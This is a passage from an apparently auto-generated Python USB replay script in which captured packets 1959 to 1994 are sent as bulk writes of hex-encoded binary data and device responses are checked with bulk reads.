b\"\\xD5\\xB9\\xB0\\x05\\x74\\x80\\xEE\\xE4\\x93\\xFF\\x6E\\x44\\x6A\\x1C\\xEE\\xFD\"\n b\"\\xEC\\xA1\\xD2\\x2A\\xA6\\xA2\\xCA\\x98\\x8B\\xDE\\x19\\x81\\xBB\\x61\\xE1\\x8E\"\n b\"\\x13\\xB9\\xF3\\xAF\\xD2\\x6A\\x1B\\x08\\x86\\x5B\\x10\\xFA\\xC0\\xCC\\xE9\\xE8\"\n b\"\\x90\\x9F\\x35\\xEA\\xB4\\xEB\\x27\\x17\\xA7\\x95\\x2D\\xF0\\x7F\\xC0\\xB2\\xD9\"\n b\"\\x16\\x4A\\x7B\\x58\\xCA\\xAE\\x50\\xAC\\xF6\\xA2\\x2C\\xB7\\x52\\xC3\\x0C\\x7C\"\n b\"\\xB7\\x81\\x1F\\xCD\\xCB\\x81\\x00\\xD4\\x1E\\x64\\x57\\x09\\xA1\\x0B\\x88\\xE2\"\n b\"\\x9D\\xBB\\x34\\x8C\\xAB\\x2E\\x29\\x82\\x40\\xDB\\xFA\\x16\\xCD\\x53\\x2A\\xEF\"\n b\"\\xE3\\x72\\xDC\\xA6\\x10\\xB6\\xC7\\x56\\xC2\\x35\\x2E\\x4A\\x6A\\x68\\x98\\x63\"\n b\"\\xD8\\x62\\x38\\xB0\\xC5\\x3D\\x0B\\x51\\x89\\x96\\xB0\\x7F\\xEE\\x4D\\x27\\x87\"\n b\"\\xE9\\xF0\\x52\\x3C\\x50\\x96\\xD1\\x3F\\x04\\xED\\xC7\\x9D\\x1D\\xB2\\x8D\\x89\"\n b\"\\x53\\xAB\\xC6\\xBC\\xC5\\x3E\\x08\\x97\\x24\\x74\\xC1\\xFE\\xAA\\x9C\\x67\\x77\"\n b\"\\xAA\\xD9\\x23\\x81\\x87\\xE5\\x62\\x57\\x50\\x34\\x8C\\x1A\\x35\\xC0\\x59\\x0D\"\n b\"\\x4D\\x43\\xB7\\x93\\x38\\xC9\\x8F\\x7D\\x48\\x0A\\x50\\x00\\x11\\x14\\xA1\\xBA\"\n b\"\\x1C\\xF9\\x87\\x0F\\x19\\xFE\\x49\\xB1\\xCA\\xDC\\xE3\\xBC\")\n # Generated from packet 1959/1960\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1959/1960\")\n # Generated from packet 1961/1962\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0C\\x26\\xDC\\x22\\x7F\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\xAD\\xCA\\x50\\xEE\\x0F\\x74\\x66\"\n b\"\\xA2\\xFE\\xDF\\x33\\x67\\xDA\\x76\\xAE\\xE7\\x65\\x1D\\x20\\x0E\\xCC\\xF2\\xE3\"\n b\"\\x1D\\xC5\\x15\\xAF\\x81\\x17\\x5B\\x46\\x60\\x0C\\x39\\xBC\\x5B\\x1E\\x77\\xAB\"\n b\"\\x7E\\x67\\x21\\x06\\x96\\xE9\\xA7\\x5C\\x51\\xC9\\x8F\\x8D\\xB0\\x06\\xF9\\xBD\"\n b\"\\x20\\xF5\\x81\\xF7\\xE3\\x97\\x28\\xFB\\xCD\\x50\\x28\\x69\\xC7\\xDE\\x20\\xAA\"\n b\"\\x62\\x08\\xCD\\x6C\\xEF\\x9E\\x14\\x28\\x3A\\x1C\\xEA\\x7A\\xDF\\x30\\xD6\\xA2\"\n b\"\\x40\\xAD\\x19\\x2B\\x1E\\x74\\xBF\\xEF\\xF4\\x0D\\x10\\x23\\x1D\\x11\\xEF\\x71\"\n b\"\\x06\\xE9\\x8B\\xAB\\xA4\\x7A\\xD4\\x98\\x0C\\xB4\\xB3\\xF7\\x5F\\x42\\x76\\xC6\"\n b\"\\x78\\x6E\\x05\\xCF\\xFC\\x93\\xC2\\xC7\\xBE\\x26\\xAB\\xBF\\xD5\\x92\\xEF\\x5D\"\n b\"\\xE0\\xC2\\xD9\\x5F\\xF2\\xDC\\x5E\\xB4\\x36\\xD0\\x15\\x36\\x21\\xB7\\x52\\x46\"\n b\"\\x29\\xFE\\x28\\x4A\\xF7\\xDD\\x7D\\x2F\\x30\\x55\\x7A\\x8E\\x54\\x81\\x41\\xEE\"\n b\"\\xF4\\xAF\\x5C\\xBC\\x8B\\xFB\\x4B\\x81\\xC1\\xD8\\x61\\x9B\\x4B\\x95\\x90\\xF5\"\n b\"\\xD8\\xD9\\x3E\\x24\\x60\\x37\\x42\\x48\\xAA\\x4A\\x4A\\x45\\xAB\\x00\\xCD\\x04\"\n b\"\\x78\\x45\\x43\\xA7\\xBF\\x99\\x63\\xB7\\xD4\\x42\\x06\\x26\\xCB\\xBC\\x52\\xB7\"\n b\"\\x4B\\x05\\x8E\\x96\\xAF\\x8F\\xA3\\x4F\\xB0\\x32\\x26\\x35\\xB8\\x85\\x68\\x47\"\n b\"\\x0A\\x51\\xE8\\x0E\\xCE\\x78\\xF0\\xAC\\xE3\\x8F\\xD2\\x7F\\x58\\x58\\xD3\\xF2\"\n b\"\\x40\\xBF\\x1F\\x41\\xEA\\xDD\\x86\\xA0\\xF1\\xCD\\x8F\\x98\")\n # Generated from packet 1963/1964\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1963/1964\")\n # Generated from packet 1965/1966\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD9\\x02\\xD7\\xDE\\x70\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x15\\x12\\xCA\\x72\\x8B\\x26\\xD8\"\n b\"\\xB7\\xDD\\xB2\\x78\\x7C\\x8C\\xCB\\x87\\x58\\x92\\xE4\\x49\\xCB\\xD4\\xA6\\xB3\"\n b\"\\x34\\x69\\x28\\xB4\\x61\\xB9\\xF5\\xDA\\x0C\\x55\\xFA\\x87\\x57\\xC7\\x3B\\x45\"\n b\"\\x15\\x76\\x31\\x65\\xB3\\x3E\\x8D\\xD2\\xBC\\x7E\\x53\\x98\\x5E\\x21\\x54\\x76\"\n b\"\\x85\\xF8\\x70\\xBE\\xA9\\xB0\\x11\\xC7\\xE4\\x23\\xEF\\x58\\x2A\\xEE\\xAE\\xC3\"\n b\"\\xE7\\xA8\\x26\\x30\\x8F\\x13\\x74\\x98\\xFC\\x8E\\xE4\\x55\\x3B\\xB8\\xD9\\x87\"\n b\"\\xCD\\xB1\\xE2\\x5B\\x7E\\x74\\xBA\\x93\\x90\\xD0\\x7E\\x10\\xCB\\x67\\x80\\x4E\"\n b\"\\xAA\\xB4\\x02\\x9C\\x4D\\xF1\\xC7\\x51\\xFD\\xBC\\xBC\\x76\\x32\\x87\\x8D\\xC7\"\n b\"\\x48\\x53\\x6F\\x74\\xC5\\x6B\\x7A\\x76\\xC1\\x38\\x48\\x8B\\xDD\\x81\\x92\\xB0\"\n b\"\\x99\\x86\\x8A\\xA2\\x83\\x91\\xF9\\xF9\\xBA\\xD9\\x35\\x31\\xDF\\x83\\xBE\\x8C\"\n b\"\\x75\\xB9\\x55\\x94\\xEB\\x93\\xCE\\x93\\x5B\\x9C\\xCE\\x7D\\x53\\x34\\x97\\xE5\"\n b\"\\xF0\\xD6\\xD5\\xB1\\xCD\\x5F\\x07\\x1F\\xD0\\xC1\\xB6\\x31\\x5E\\xEF\\x65\\x26\"\n b\"\\x84\\x7F\\x2D\\x0C\\xE0\\xE3\\x86\\x92\\x86\\xA3\\xA4\\x50\\x2B\\x6A\\x1A\\xF0\"\n b\"\\x06\\x54\\x91\\x84\\x55\\xB0\\x73\\x0C\\x09\\x5D\\x46\\xB3\\xD4\\x51\\xC8\\x00\"\n b\"\\x41\\x97\\x8D\\x12\\xE4\\xF0\\xA7\\x7E\\xED\\x42\\x89\\xE0\\x27\\x9D\\x05\\xA0\"\n b\"\\x2E\\xE8\\xFF\\x04\\x69\\xD6\\xC3\\xE5\\x50\\x40\\xF1\\x67\\x6C\\x3B\\xF2\\x05\"\n b\"\\xDF\\x99\\x77\\x0B\\xF4\\xBC\\xBA\\x99\\x93\\x71\\x2F\\x1A\")\n # Generated from packet 1967/1968\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1967/1968\")\n # Generated from packet 1969/1970\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6A\\x73\\xF2\\x05\\xF0\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9B\\x20\\xEE\\x85\\xA3\\x19\\x00\\xDC\"\n b\"\\xA9\\x5A\\x2D\\x0A\\xBB\\xB0\\x58\\x79\\x29\\x95\\x16\\xEF\\xE5\\x1A\\xF3\\x77\"\n b\"\\xED\\x69\\x67\\xAE\\x42\\xA5\\x85\\x0F\\xB3\\xDF\\xE4\\x55\\x2B\\xB2\\xC5\\x66\"\n b\"\\x8F\\xB3\\xD1\\x34\\x6E\\x76\\x45\\x6C\\x10\\xDA\\x20\\xA4\\xC9\\xE6\\xC9\\xD2\"\n b\"\\x25\\x0A\\x16\\xB7\\x10\\x5B\\xA0\\xC8\\x3A\\x02\\xB2\\xD7\\x07\\x8C\\x8D\\xD5\"\n b\"\\x97\\x2F\\x3B\\xFC\\x61\\xC9\\xE5\\xCA\\x24\\xC7\\x85\\x2B\\xB6\\xD3\\x45\\x04\"\n b\"\\x93\\x0D\\x3C\\x63\\x93\\x89\\x26\\x2F\\xFE\\x5B\\x5C\\x2D\\x76\\xB6\\x58\\xAC\"\n b\"\\xB0\\x87\\x11\\x6E\\x63\\x13\\x4E\\x93\\x76\\x52\\xC0\\x34\\xDE\\xAB\\xA7\\x8A\"\n b\"\\xE0\\xD4\\x2A\\x0F\\xDD\\x55\\x07\\x1F\\xC0\\x68\\x34\\x31\\x4E\\xED\\x9A\\xBF\"\n b\"\\x04\\x75\\x72\\xB8\\xE6\\xA6\\x4D\\x2F\\x06\\xF7\\x71\\x6E\\x90\\x8B\\x6F\\xC8\"\n b\"\\x15\\x5E\\xAC\\x40\\x47\\xEF\\xCE\\x17\\xB9\\x9F\\x46\\xA7\\xE2\\xDD\\x1F\\xB6\"\n b\"\\x43\\x31\\xBC\\x72\\x6B\\x4E\\xA1\\xD4\\x60\\xE8\\xD4\\xD0\\x25\\x17\\x79\\x00\"\n b\"\\xD6\\x62\\x70\\xBE\\xD5\\x95\\xC3\\xE7\\x6D\\x8C\\x56\\x46\\xA9\\x09\\xF9\\x22\"\n b\"\\x29\\x17\\x33\\x97\\x79\\x3A\\xA9\\x92\\x31\\x43\\xDD\\xF8\\x37\\x0A\\x6C\\x76\"\n b\"\\x71\\xD1\\x09\\x92\\x83\\x7A\\xE1\\xC2\\x3B\\x9C\\xC5\\xA7\\x49\\x3A\\x41\\xD8\"\n b\"\\xB3\\x3A\\x00\\x56\\x6E\\x0F\\x22\\x25\\xEF\\x88\\xFF\\xFB\\x7F\\xE1\\xB7\\x5F\"\n b\"\\xC9\\xAC\\x16\\xA9\\xE9\\x7F\\x6E\\xD8\\xF4\\x1F\\xA3\\xD0\")\n # Generated from packet 1971/1972\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1971/1972\")\n # Generated from packet 1973/1974\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEC\\xC1\\x25\\xF9\\xA7\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x67\\x8D\\xE0\\x1F\\xE2\\x7C\\x19\\x95\"\n b\"\\x9E\\x20\\x96\\x7A\\x2A\\x3F\\xB2\\x06\\xD3\\xDF\\xA1\\x78\\xC5\\x93\\xFD\\x29\"\n b\"\\x76\\x98\\x9F\\x13\\x9B\\xDB\\x1E\\x4B\\xA7\\xDC\\xF0\\x41\\x27\\x22\\xC2\\x70\"\n b\"\\x6C\\xB0\\x2C\\x80\\x0D\\xE3\\xDD\\x2C\\x6B\\x80\\x6F\\x30\\xEA\\x4A\\xA4\\x32\"\n b\"\\xC9\\xED\\xD6\\xAE\\xAA\\x30\\x99\\x2B\\x05\\xF2\\xB5\\x26\\x33\\x39\\x16\\x06\"\n b\"\\x3D\\x7F\\xB7\\xCD\\xF0\\xD6\\xF5\\xCC\\x57\\x75\\xEC\\x73\\xDA\\x8E\\x9F\\xD0\"\n b\"\\x58\\x89\\x10\\x25\\xFE\\x54\\x66\\xF9\\x2A\\xAB\\x72\\x0B\\x38\\x1C\\xC0\\xCA\"\n b\"\\x03\\xA8\\xD2\\x39\\x66\\xF8\\xBA\\xCB\\x24\\xE6\\xEF\\x12\\xF0\\x86\\xD4\\xE9\"\n b\"\\x6C\\x3F\\x50\\xE6\\x32\\x72\\xD9\\xD7\\xFC\\x3F\\x6F\\x2F\\x30\\x69\\xA9\\xD1\"\n b\"\\x93\\xB9\\xA6\\x30\\xD2\\x49\\x81\\x00\\x6D\\x02\\xF4\\xF1\\x2E\\xFA\\x6A\\x7B\"\n b\"\\x50\\xDF\\x14\\x95\\x17\\xE7\\xE2\\xC5\\xAE\\x89\\x54\\x41\\x63\\xFD\\xD5\\xF1\"\n b\"\\xAE\\x2E\\x00\\xBC\\x59\\x4C\\x9C\\x13\\xA6\\xFD\\xD6\\xF0\\xCA\\xC0\\x4C\\x5F\"\n b\"\\xB8\\x2B\\xAF\\xA7\\x30\\xB3\\x4B\\x40\\x3C\\x87\\x9E\\x8B\\x69\\x54\\xA3\\x35\"\n b\"\\xA3\\x0F\\x87\\x7B\\x91\\xD3\\xE8\\x0E\\xC9\\x52\\xE2\\xAC\\x26\\xB1\\x2B\\x2F\"\n b\"\\x80\\xA2\\x53\\xF2\\xD8\\x3D\\x1F\\x41\\xF9\\x19\\x03\\xA0\\xEA\\x4F\\x87\\x52\"\n b\"\\x5C\\x0C\\x77\\x5D\\x61\\x62\\xFE\\xBA\\x37\\x76\\x7B\\x24\\x1D\\x6D\\x2E\\xE1\"\n b\"\\x59\\x25\\x4C\\x0A\\x1B\\x64\\xDD\\xDC\\x93\\x29\\xE5\\x5E\")\n # Generated from packet 1975/1976\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1975/1976\")\n # Generated from packet 1977/1978\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFE\\x38\\x77\\xBC\\x54\\x79\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\x47\\x28\\x07\\xE2\\x0D\\xAA\\xF9\"\n b\"\\x99\\xEE\\xBE\\xFE\\x85\\xB3\\xAA\\x66\\xC1\\x47\\xBB\\x1A\\x56\\x92\\x40\\x94\"\n b\"\\x71\\xCD\\x5E\\xA6\\xEB\\xA0\\x4B\\x1B\\xEE\\x3E\\x00\\xB6\\x9A\\xDD\\x3D\\x1B\"\n b\"\\xE3\\xC7\\x96\\x7A\\x54\\x5B\\xA7\\x06\\xF3\\x84\\x40\\x62\\xF4\\xAE\\xE6\\x91\"\n b\"\\xCF\\x86\\x8F\\x13\\xED\\xF8\\x81\\xFF\\x79\\x2D\\xAD\\x9B\\xE5\\x89\\xD2\\x26\"\n b\"\\x32\\x5B\\xB1\\x6A\\x8F\\x24\\x48\\x6C\\x8A\\xF3\\xF3\\xF7\\x48\\x26\\x7A\\x3A\"\n b\"\\xF0\\x00\\x0B\\xB6\\x2F\\x03\\x21\\xAA\\xA3\\xAD\\x46\\x36\\x74\\xD3\\x1D\\xE2\"\n b\"\\x5D\\xD8\\xB2\\x8D\\x17\\x35\\x17\\x06\\xB4\\x28\\x9F\\x8B\\xF9\\xD1\\x6E\\x43\"\n b\"\\xAB\\xFB\\xA8\\x2F\\x1D\\x0B\\x03\\x07\\x99\\xF6\\x53\\x98\\xD0\\xAB\\x58\\x2C\"\n b\"\\xF0\\xA7\\x24\\xBC\\x50\\x99\\xFA\\x10\\xE3\\x89\\x3B\\x44\\x8B\\x01\\xD0\\xBD\"\n b\"\\x09\\x6E\\x64\\x0A\\x91\\x2F\\x36\\x21\\x55\\x01\\xBD\\x27\\xA8\\x83\\x74\\xCD\"\n b\"\\x08\\x88\\x1C\\x52\\x29\\x8A\\x8A\\x90\\x33\\x8A\\x4D\\x65\\xE9\\xE5\\xFE\\x0F\"\n b\"\\xBE\\x4B\\xC6\\xED\\x8D\\x04\\x3B\\x24\\x05\\x5A\\xBD\\xFB\\x98\\x27\\xB7\\x55\"\n b\"\\x12\\x39\\x00\\xBE\\x27\\xA0\\x9F\\x07\\x8A\\x88\\x84\\xB5\\xBC\\x9F\\xC8\\x36\"\n b\"\\x66\\x30\\xEB\\x2B\\x6C\\x24\\x89\\x29\\x3A\\x52\\xA3\\x47\\x22\\xAB\\x23\\x35\"\n b\"\\xDD\\xE8\\x9F\\x7B\\x65\\x34\\xE8\\x06\\x5C\\x21\\xF2\\xAC\\xDB\\x72\\x20\\xB7\"\n b\"\\x39\\xBD\\x9E\\x46\\xFA\\x22\\x80\\xDD\\xE0\\x59\\xD1\\x98\")\n # Generated from packet 1979/1980\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1979/1980\")\n # Generated from packet 1981/1982\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x43\\x8F\\x29\\xF1\\x86\\x07\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x99\\xE3\\x83\\xA5\\x86\\x5F\\x31\"\n b\"\\x19\\x53\\xDC\\x70\\xFC\\x4D\\xD6\\xD0\\x80\\x4F\\xFF\\x6A\\x59\\x84\\xC2\\x33\"\n b\"\\xBC\\xF5\\x82\\x77\\x29\\x36\\xF9\\x4C\\xD9\\x60\\xC8\\x82\\xFE\\x4A\\x10\\xA2\"\n b\"\\x6C\\x32\\x69\\xFB\\x4D\\x8C\\x85\\xBC\\x67\\x68\\x71\\xC4\\x54\\x31\\x72\\xD1\"\n b\"\\x4D\\x43\\xDB\\xDE\\x59\\xA3\\x5D\\x8A\\x5F\\x34\\x21\\x1E\\x77\\x34\\xAD\\x29\"\n b\"\\x7B\\xAD\\xE5\\x46\\x3A\\xE5\\xAA\\x66\\x95\\x45\\xAB\\x1A\\xD2\\xE9\\x48\\x35\"\n b\"\\xFC\\xDA\\xCD\\xA6\\xEF\\xDB\\x4F\\xDA\\xE0\\x09\\x10\\xB6\\xC0\\x1A\\xC0\\xE0\"\n b\"\\xFB\\x00\\x61\\xC6\\x9D\\xE5\\xA3\\xAE\\x36\\xFF\\x56\\x25\\x36\\x27\\x69\\x7D\"\n b\"\\x8C\\x59\\x42\\x22\\xFB\\x57\\x54\\x5A\\xDE\\xE2\\xD2\\xC9\\xF2\\xF0\\xD7\\x9A\"\n b\"\\x2C\\x88\\xCC\\x31\\x95\\xAA\\x29\\x4C\\x7F\\xA0\\xAF\\x1B\\x8A\\x61\\x0A\\xE2\"\n b\"\\x1C\\x7D\\x03\\x9C\\x4C\\x86\\x66\\x13\\xFC\\x62\\x7B\\xFA\\x72\\x21\\x16\\x10\"\n b\"\\xCC\\x07\\xD6\\xD5\\xD4\\xE8\\x30\\xD7\\xB1\\x51\\x99\\x64\\x03\\x74\\x33\\xF7\"\n b\"\\xF1\\x17\\x65\\x7B\\x47\\xC6\\x15\\xE5\\xD3\\x39\\x9F\\x73\\x85\\x4C\\xF8\\x80\"\n b\"\\x27\\x96\\x09\\x26\\x02\\xDC\\xC7\\xD4\\x1C\\x02\\x5D\\xB4\\x09\\x72\\xFA\\x23\"\n b\"\\x53\\xB3\\xAB\\x38\\xAE\\xD8\\x6B\\x95\\x05\\xC3\\x22\\x1B\\xD2\\x4B\\xE5\\x29\"\n b\"\\xDA\\x83\\x4A\\x0E\\xD3\\xCD\\x18\\xC6\\xB9\\x54\\x10\\xD1\\x0A\\xD2\\xD8\\x07\"\n b\"\\x26\\x7B\\x9C\\x5D\\x07\\xCB\\x31\\xA2\\xE6\\x1B\\x7C\\xCF\")\n # Generated from packet 1983/1984\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1983/1984\")\n # Generated from packet 1985/1986\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA1\\x72\\x94\\x7E\\x32\\x23\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\xEC\\xA5\\x05\\x81\\x23\\x4D\\x06\"\n b\"\\x0E\\x0E\\xA6\\xC4\\x9B\\xCE\\xF9\\x52\\xF9\\x3A\\x70\\x69\\xF9\\x85\\x2E\\x79\"\n b\"\\xF2\\xA7\\x3B\\x1E\\x58\\x1F\\x6D\\x64\\x22\\xE0\\xF6\\xF0\\x58\\xD4\\x9C\\x3A\"\n b\"\\xA5\\x72\\xA5\\x66\\xF9\\xF3\\x8A\\x4D\\xA7\\xAE\\xE9\\xF6\\x80\\x9E\\x80\\xAB\"\n b\"\\xD1\\x91\\xC5\\xA3\\x82\\x1A\\x3E\\x4B\\x00\\x41\\x08\\x54\\x20\\x79\\xA4\\x36\"\n b\"\\x52\\x5B\\x3A\\x08\\xB3\\x86\\x6B\\x2D\\xE9\\xC0\\x54\\xF7\\xC1\\xA8\\x11\\x58\"\n b\"\\xB1\\x99\\x7E\\x5D\\x36\\xE3\\xC8\\x76\\x40\\xEF\\x1E\\xA9\\x54\\xF0\\xA8\\x85\"\n b\"\\x25\\xB8\\x07\\x30\\x3F\\xAF\\xED\\x7B\\x9B\\xB6\\x93\\x34\\x8B\\x7F\\x6B\\xA6\"\n b\"\\x8D\\x2C\\x2C\\x8C\\x60\\x2A\\xD8\\xDB\\xE8\\x92\\x35\\x54\\x91\\x49\\x9E\\xCA\"\n b\"\\xB0\\x75\\x23\\x9E\\x54\\x63\\xA1\\xCD\\xFA\\x76\\x44\\xF9\\x72\\xB7\\xB6\\x03\"\n b\"\\xA5\\xD1\\x48\\x69\\x83\\xA0\\xED\\x65\\xCF\\xFC\\x2F\\xFE\\x2E\\xF9\\x74\\x3A\"\n b\"\\xC2\\xDF\\xE8\\x98\\x6E\\xB9\\x1B\\x89\\x86\\xCC\\x0D\\xEB\\x49\\x9B\\x9E\\xEB\"\n b\"\\x72\\x51\\x6F\\xC3\\x79\\x32\\x56\\x6A\\x20\\xF9\\x6F\\x81\\x25\\xDE\\x8D\\x9C\"\n b\"\\xC9\\x52\\x11\\xD3\\x06\\xBC\\xEA\\x1A\\xBE\\xFC\\xB5\\xE9\\x48\\x52\\x77\\x0B\"\n b\"\\x18\\xC6\\xFB\\x0B\\x88\\x1D\\xBB\\x06\\xE1\\x7F\\x94\\x65\\xCD\\x94\\x15\\xAE\"\n b\"\\x35\\x04\\x14\\x98\\xB4\\x6A\\xE1\\xA1\\x64\\x6E\\x38\\xFB\\x25\\x54\\xEC\\xF0\"\n b\"\\x93\\xB7\\x62\\x6B\\x98\\xA4\\xF8\\xB9\\x04\\xD4\\xE6\\xA5\")\n # Generated from packet 1987/1988\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1987/1988\")\n # Generated from packet 1989/1990\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5C\\xD2\\x45\\x16\\x95\\x12\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\\x31\\x91\\xC7\\x1A\\x8E\\x52\\x8A\"\n b\"\\x3C\\xDC\\x4A\\xAE\\xED\\x40\\x22\\xBB\\xE5\\x5B\\x8B\\x87\\x4D\\x48\\xAC\\x83\"\n b\"\\x45\\x9A\\x06\\xD5\\xD2\\x99\\x83\\x0B\\xFC\\xC1\\x4C\\x93\\x2D\\x19\\x3D\\xE6\"\n b\"\\xDA\\x40\\x02\\xF4\\x98\\x92\\xA6\\x1D\\xDF\\xFC\\xD2\\x2A\\x1E\\xA5\\x18\\xD0\"\n b\"\\x4D\\xF0\\x61\\x15\\x7B\\xEA\\x82\\x92\\x65\\xBB\\xED\\x09\\x40\\xDF\\x56\\xD1\"\n b\"\\x22\\xF4\\xAB\\x3E\\x5B\\xA5\\x8D\\x1A\\x90\\x3E\\xE8\\x5C\\x75\\xDD\\x79\\xA1\"\n b\"\\x15\\xBD\\xFE\\x81\\x54\\xD3\\x53\\x21\\xFF\\x59\\x92\\x0B\\x37\\x30\\x43\\xAC\"\n b\"\\x9C\\xB9\\x22\\x12\\x7B\\x7F\\x28\\xD4\\x5D\\x92\\xEE\\x5E\\x32\\x3F\\x5D\\x60\"\n b\"\\xA0\\x6C\\x93\\xDA\\xAE\\x78\\xFA\\xAC\\xA8\\xF4\\x1C\\xEC\\xF3\\x43\\xCC\\x0A\"\n b\"\\x31\\x70\\x94\\xBB\\xD9\\x74\\xEF\\x83\\xD6\\x06\\x7D\\x2E\\x35\\x3E\\x5D\\x19\"\n b\"\\x80\\x38\\x97\\xDC\\x73\\x97\\x9C\\xC0\\x64\\xEC\\xC2\\x14\\x04\\x2A\\xEA\\xC1\"\n b\"\\x2D\\x2B\\x63\\x26\\x8A\\xC2\\x8A\\x70\\x81\\xA9\\x05\\x4F\\x28\\xB2\\x4D\\xF6\"\n b\"\\xCD\\x5E\\xD2\\x72\\x54\\x07\\x3A\\xDF\\x94\\xA6\\x69\\x22\\x39\\x54\\x58\\x85\"\n b\"\\x95\\xDC\\xEB\\xB3\\x65\\xB2\\x32\\x4F\\xE3\\xAA\\x17\\xEB\\x6E\\xD6\\x33\\x5A\"\n b\"\\xF4\\xCF\\x8C\\x3E\\x5E\\x39\\x4C\\x64\\x2E\\x1D\\x43\\x63\\x6C\\x16\\x36\\xF9\"\n b\"\\x42\\x05\\x96\\x3C\\x05\\x17\\xE8\\x5A\\xB9\\x1A\\xB7\\xA3\\x6E\\x09\\x4F\\x7D\"\n b\"\\x1E\\x9F\\xFC\\xA0\\x11\\xDB\\xD8\\x87\\xFD\\xB9\\xD6\\x6D\")\n # Generated from packet 1991/1992\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1991/1992\")\n # Generated from packet 1993/1994\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\x4C\\xD9\\xE1\\xAA\\x7D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\x8C\\x79\\x74\\x54\\xA0\\xA6\\xB4\"\n b\"\\xF8\\x90\\xB6\\x41\\xBF\\x33\\xC0\\x4B\\xC2\\xE9\\x4F\\xF1\\xB6\\xAE\\x2A\\x23\"\n b\"\\xF0\\x9C\\x78\\xE0\\x2D\\xDB\\x2D\\x66\\x00\\x3D\\x40\\xED\\xDB\\xA5\\x6A\\xA9\"\n b\"\\x8A\\xB2\\xD9\\xC6\\x67\\xFE\\x3F\\x04\\x91\\xF3\\x05\\x11\\xA0\\x90\\x38\\xCC\"\n b\"\\x3E\\x39\\x9E\\x38\\x93\\x86\\xFA\\x6B\\xAA\\x68\\xFC\\x4E\\x13\\xBE\\x61\\x8F\"\n b\"\\x6A\\x54\\x49\\x2E\\x75\\x3F\\xE1\\xB8\\x2C\\xAF\\x49\\x38\\xB4\\x89\\x62\\x5F\"\n b\"\\xC0\\x36\\xB3\\xC8\\x52\\x16\\x96\\xF6\\x6E\\x0F\\xC5\\x07\\x81\\x86\\xD0\\xB5\"\n b\"\\xF4\\x24\\x03\\xDC\\x2F\\x32\\x46\\x17\\x3D\\x5A\\x16\\xCD\\xAB\\x2B\\x69\\x01\"\n b\"\\xAC\\x4A\\x33\\x2B\\xCE\\xA2\\x5D\\x97\\xEB\\x78\\x4F\\xC6\\x39\\x8A\\x53\\x83\"\n b\"\\x6B\\xDD\\x4E\\x1A\\xC5\\x22\\x7E\\xB9\\xB2\\x1E\\x2F\\x4A\\xD7\\xEC\\xFC\\x6D\"\n b\"\\x72\\x37\\x79\\xD3\\x86\\xB4\\x5D\\x42\\x5B\\x4F\\xA4\\xED\\xE8\\x55\\x36\\x50\"\n b\"\\xCC\\xBE\\xC0\\xEC\\xFC\\x56\\x13\\xC1\\xE5\\x76\\x79\\x3C\\xB2\\x7D\\x0B\\x90\"\n b\"\\xF6\\x3D\\x12\\x09\\x15\\x30\\x3C\\xB0\\x4D\\x55\\xC2\\x23\\xA7\\x31\\xF3\\xD5\"\n b\"\\x05\\x89\\x29\\xBF\\x35\\x8B\\x80\\x98\\xFE\\x10\\x6B\\x1D\\x68\\x2A\\x72\\x2B\"\n b\"\\x09\\xCF\\x38\\x1C\\x4E\\x26\\x0D\\xDA\\xD4\\x5F\\xE9\\x37\\x77\\x4C\\xBF\\x8C\"\n b\"\\x02\\x74\\x97\\x27\\x37\\x02\\xDC\\x35\\xB9\\xFB\\x43\\x52\\x58\\xDF\\x6D\\x1F\"\n 